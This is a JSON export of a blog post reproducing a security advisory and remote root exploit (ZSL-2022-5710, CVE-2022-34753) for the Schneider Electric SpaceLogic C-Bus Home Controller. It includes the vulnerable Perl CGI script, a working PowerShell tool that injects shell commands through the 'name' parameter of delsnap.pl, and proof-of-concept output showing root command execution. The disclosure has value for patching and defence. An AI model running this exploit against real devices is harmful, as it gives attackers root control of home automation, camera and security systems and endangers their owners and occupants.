{"id":27350,"date":"2022-07-22T01:28:10","date_gmt":"2022-07-21T21:28:10","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167783\/ZSL-2022-5710.txt"},"modified":"2022-07-22T11:36:02","modified_gmt":"2022-07-22T07:06:02","slug":"schneider-electric-spacelogic-c-bus-home-controller-5200whc2-remote-root","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/schneider-electric-spacelogic-c-bus-home-controller-5200whc2-remote-root\/","title":{"rendered":"Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) Remote Root"},"content":{"rendered":"<p dir=\"ltr\">&lt;#SpaceLogic.ps1<\/p>\n<p dir=\"ltr\">Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) Remote Root Exploit<\/p>\n<p dir=\"ltr\">Vendor: Schneider Electric SE<br \/>\nProduct web page: https:\/\/www.se.com<br \/>\nhttps:\/\/www.se.com\/ww\/en\/product\/5200WHC2\/home-controller-spacelogic-cbus-cbus-ip-free-standing-24v-dc\/<br \/>\nhttps:\/\/www.se.com\/ww\/en\/product-range\/2216-spacelogic-cbus-home-automation-system\/?parent-subcategory-id=88010&#038;filter=business-5-residential-and-small-business#software-and-firmware<br \/>\nAffected version: SpaceLogic C-Bus Home Controller (5200WHC2)<br \/>\nformerly known as C-Bus Wiser Home Controller MK2<br \/>\nV1.31.460 and prior<br \/>\nFirmware: 604<\/p>\n<p dir=\"ltr\">Summary: SpaceLogic C-Bus Home Automation System<br \/>\nLighting control and automation solutions for<br \/>\nbuildings of the future, part of SpaceLogic.<br \/>\nSpaceLogic C-Bus is a powerful, fully integrated<br \/>\nsystem that can control and automate lighting<br \/>\nand many other electrical systems and products.<br \/>\nThe SpaceLogic C-Bus system is robust, flexible,<br \/>\nscalable and has proven solutions for buildings<br \/>\nof the future. Implemented for commercial and<br \/>\nresidential buildings automation, it brings<br \/>\ncontrol, comfort, efficiency and ease of use<br \/>\nto its occupants.<\/p>\n<p dir=\"ltr\">Wiser Home Control makes technologies in your<br \/>\nhome easy by providing seamless control of music,<br \/>\nhome theatre, lighting, air conditioning, sprinkler<br \/>\nsystems, curtains and shutters, security systems&#8230;<br \/>\nyou name it. Usable anytime, anywhere even when<br \/>\nyou are away, via preset shortcuts or direct<br \/>\ncontrol, in the same look and feel from a wall<br \/>\nswitch, a home computer, or even your smartphone<br \/>\nor TV &#8211; there is no wiser way to enjoy 24\/7<br \/>\nconnectivity, comfort and convenience, entertainment<br \/>\nand peace of mind homewide!<\/p>\n<p dir=\"ltr\">The Wiser 2 Home Controller allows you to access<br \/>\nyour C-Bus using a graphical user interface, sometimes<br \/>\nreferred to as the Wiser 2 UI. The Wiser 2 Home<br \/>\nController arrives with a sample project loaded<br \/>\nand the user interface accessible from your local<br \/>\nhome network. With certain options set, you can<br \/>\nalso access the Wiser 2 UI from anywhere using<br \/>\nthe Internet. Using the Wiser 2 Home Controller<br \/>\nyou can: control equipment such as IP cameras,<br \/>\nC-Bus devices and non C-Bus wired and wireless<br \/>\nequipment on the home LAN, schedule events in<br \/>\nthe home, create and store scenes on-board, customise<br \/>\na C-Bus system using the on-board Logic Engine,<br \/>\nmonitor the home environment including C-Bus and<br \/>\nsecurity systems, control ZigBee products such<br \/>\nas Ulti-ZigBee Dimmer, Relay, Groups and Curtains.<\/p>\n<p dir=\"ltr\">Examples of equipment you might access with Wiser<br \/>\n2 Home Controller include lighting, HVAC, curtains,<br \/>\ncameras, sprinkler systems, power monitoring, Ulti-ZigBee,<br \/>\nmulti-room audio and security controls.<\/p>\n<p dir=\"ltr\">Desc: The home automation solution suffers from<br \/>\nan authenticated OS command injection vulnerability.<br \/>\nThis can be exploited to inject and execute arbitrary<br \/>\nshell commands as the root user via the &#8216;name&#8217; GET<br \/>\nparameter in &#8216;delsnap.pl&#8217; Perl\/CGI script which is<br \/>\nused for deleting snapshots taken from the webcam.<\/p>\n<p dir=\"ltr\">=========================================================<br \/>\n\/www\/delsnap.pl:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p dir=\"ltr\">01: #!\/usr\/bin\/perl<br \/>\n02: use IO::Handle;<br \/>\n03:<br \/>\n04:<br \/>\n05: select(STDERR);<br \/>\n06: $| = 1;<br \/>\n07: select(STDOUT);<br \/>\n08: $| = 1;<br \/>\n09:<br \/>\n10: #print &#8220;\\r\\n\\r\\n&#8221;;<br \/>\n11:<br \/>\n12: $CGITempFile::TMPDIRECTORY = &#8216;\/mnt\/microsd\/clipsal\/ugen\/imgs\/&#8217;;<br \/>\n13: use CGI;<br \/>\n14:<br \/>\n15: my $PROGNAME = &#8220;delsnap.pl&#8221;;<br \/>\n16:<br \/>\n17: my $cgi = new CGI();<br \/>\n18:<br \/>\n19: my $name = $cgi-&gt;param(&#8216;name&#8217;);<br \/>\n20: if ($name eq &#8220;list&#8221;) {<br \/>\n21: print &#8220;\\r\\n\\r\\n&#8221;;<br \/>\n22: print &#8220;DATA=&#8221;;<br \/>\n23: print `ls -C1 \/mnt\/microsd\/clipsal\/ugen\/imgs\/`;<br \/>\n24: exit(0);<br \/>\n25: }<br \/>\n26: if ($name eq &#8220;deleteall&#8221;) {<br \/>\n27: print &#8220;\\r\\n\\r\\n&#8221;;<br \/>\n28: print &#8220;DELETINGALL=TRUE&amp;&#8221;;<br \/>\n29: print `rm \/mnt\/microsd\/clipsal\/ugen\/imgs\/*`;<br \/>\n30: print &#8220;COMPLETED=true\\n&#8221;;<br \/>\n31: exit(0);<br \/>\n32: }<br \/>\n33: #print &#8220;name $name\\n&#8221;;<br \/>\n34: print &#8220;\\r\\n\\r\\n&#8221;;<br \/>\n35: my $filename = &#8220;\/mnt\/microsd\/clipsal\/ugen\/imgs\/$name&#8221;;<br \/>\n36:<br \/>\n37: unlink $filename or die &#8220;COMPLETED=false\\n&#8221;;<br \/>\n38:<br \/>\n39: print &#8220;COMPLETED=true\\n&#8221;;<\/p>\n<p dir=\"ltr\">=========================================================<\/p>\n<p dir=\"ltr\">Tested on: Machine: OMAP3 Wiser2 Board<br \/>\nCPU: ARMv7 revision 2<br \/>\nGNU\/Linux 2.6.37 (armv7l)<br \/>\nBusyBox v1.22.1<br \/>\nthttpd\/2.25b<br \/>\nPerl v5.20.0<br \/>\nClipsal 81<br \/>\nAngstrom 2009.X-stable<br \/>\nPICED 4.14.0.100<br \/>\nlighttpd\/1.7<br \/>\nGCC 4.4.3<br \/>\nNodeJS v10.15.3<\/p>\n<p dir=\"ltr\">Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic<br \/>\n@zeroscience<\/p>\n<p dir=\"ltr\">Advisory ID: ZSL-2022-5710<br \/>\nAdvisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2022-5710.php<\/p>\n<p dir=\"ltr\">Vendor advisory: https:\/\/download.schneider-electric.com\/files?p_enDocType=Security+and+Safety+Notice&amp;p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf<\/p>\n<p dir=\"ltr\">CVE ID: CVE-2022-34753<br \/>\nCVE URL: https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-34753<\/p>\n<p dir=\"ltr\">27.03.2022<\/p>\n<p dir=\"ltr\">#&gt;<\/p>\n<p dir=\"ltr\">$host.UI.RawUI.ForegroundColor = &#8220;Green&#8221;<br \/>\nif ($($args.Count) -ne 2) {<br \/>\nWrite-Host(&#8220;`nUsage: .\\SpaceLogic.ps1 [IP] [CMD]`n&#8221;)<br \/>\n} else {<br \/>\n$ip = $args[0]\n$cmd = $args[1]\n$cmdinj = &#8220;\/delsnap.pl?name=|$cmd&#8221;<br \/>\nWrite-Host(&#8220;`nSending command &#8216;$cmd&#8217; to $ip`n&#8221;)<br \/>\n#curl -Headers @{Authorization = &#8220;Basic XXXX&#8221;} -v $ip$cmdinj<br \/>\ncurl -v $ip$cmdinj<br \/>\n}<\/p>\n<p dir=\"ltr\">&lt;#PoC<\/p>\n<p dir=\"ltr\">PS C:\\&gt; .\\SpaceLogic.ps1<\/p>\n<p dir=\"ltr\">Usage: .\\SpaceLogic.ps1 [IP] [CMD]\n<p dir=\"ltr\">PS C:\\&gt; .\\SpaceLogic.ps1 192.168.1.2 &#8220;uname -a;id;pwd&#8221;<\/p>\n<p dir=\"ltr\">Sending command &#8216;uname -a;id;pwd&#8217; to 192.168.1.2<\/p>\n<p dir=\"ltr\">VERBOSE: GET http:\/\/192.168.1.2\/delsnap.pl?name=|uname -a;id;pwd with 0-byte payload<br \/>\nVERBOSE: received 129-byte response of content type text\/html; charset=utf-8<\/p>\n<p dir=\"ltr\">StatusCode : 200<br \/>\nStatusDescription : OK<br \/>\nContent : Linux localhost 2.6.37-g4be9a2f-dirty #111 Wed May 21 20:39:38 MYT 2014 armv7l GNU\/Linux<br \/>\nuid=0(root) gid=0(root)<br \/>\n\/custom-package<\/p>\n<p dir=\"ltr\">RawContent : HTTP\/1.1 200 OK<br \/>\nAccess-Control-Allow-Origin: *<br \/>\nConnection: keep-alive<br \/>\nContent-Length: 129<br \/>\nContent-Type: text\/html; charset=utf-8<br \/>\nDate: Thu, 30 Jun 2022 14:48:43 GMT<br \/>\nETag: W\/&#8221;81-LTIWJvYlDBYAlgXEy&#8230;<br \/>\nForms : {}<br \/>\nHeaders : {[Access-Control-Allow-Origin, *], [Connection, keep-alive], [Content-Length, 129], [Content-Type, text\/html;<br \/>\ncharset=utf-8]&#8230;}<br \/>\nImages : {}<br \/>\nInputFields : {}<br \/>\nLinks : {}<br \/>\nParsedHtml : mshtml.HTMLDocumentClass<br \/>\nRawContentLength : 129<\/p>\n<p dir=\"ltr\">PS C:\\&gt;<br \/>\n#&gt;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&lt;#SpaceLogic.ps1 Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) Remote Root Exploit Vendor: Schneider Electric SE Product web page: https:\/\/www.se.com https:\/\/www.se.com\/ww\/en\/product\/5200WHC2\/home-controller-spacelogic-cbus-cbus-ip-free-standing-24v-dc\/ https:\/\/www.se.com\/ww\/en\/product-range\/2216-spacelogic-cbus-home-automation-system\/?parent-subcategory-id=88010&#038;filter=business-5-residential-and-small-business#software-and-firmware Affected version: SpaceLogic C-Bus Home Controller (5200WHC2) formerly known as C-Bus Wiser Home Controller MK2 V1.31.460 and prior Firmware: 604 Summary: SpaceLogic C-Bus Home Automation System Lighting control and automation solutions for buildings of &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-27350","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27350","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=27350"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27350\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=27350"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=27350"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=27350"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}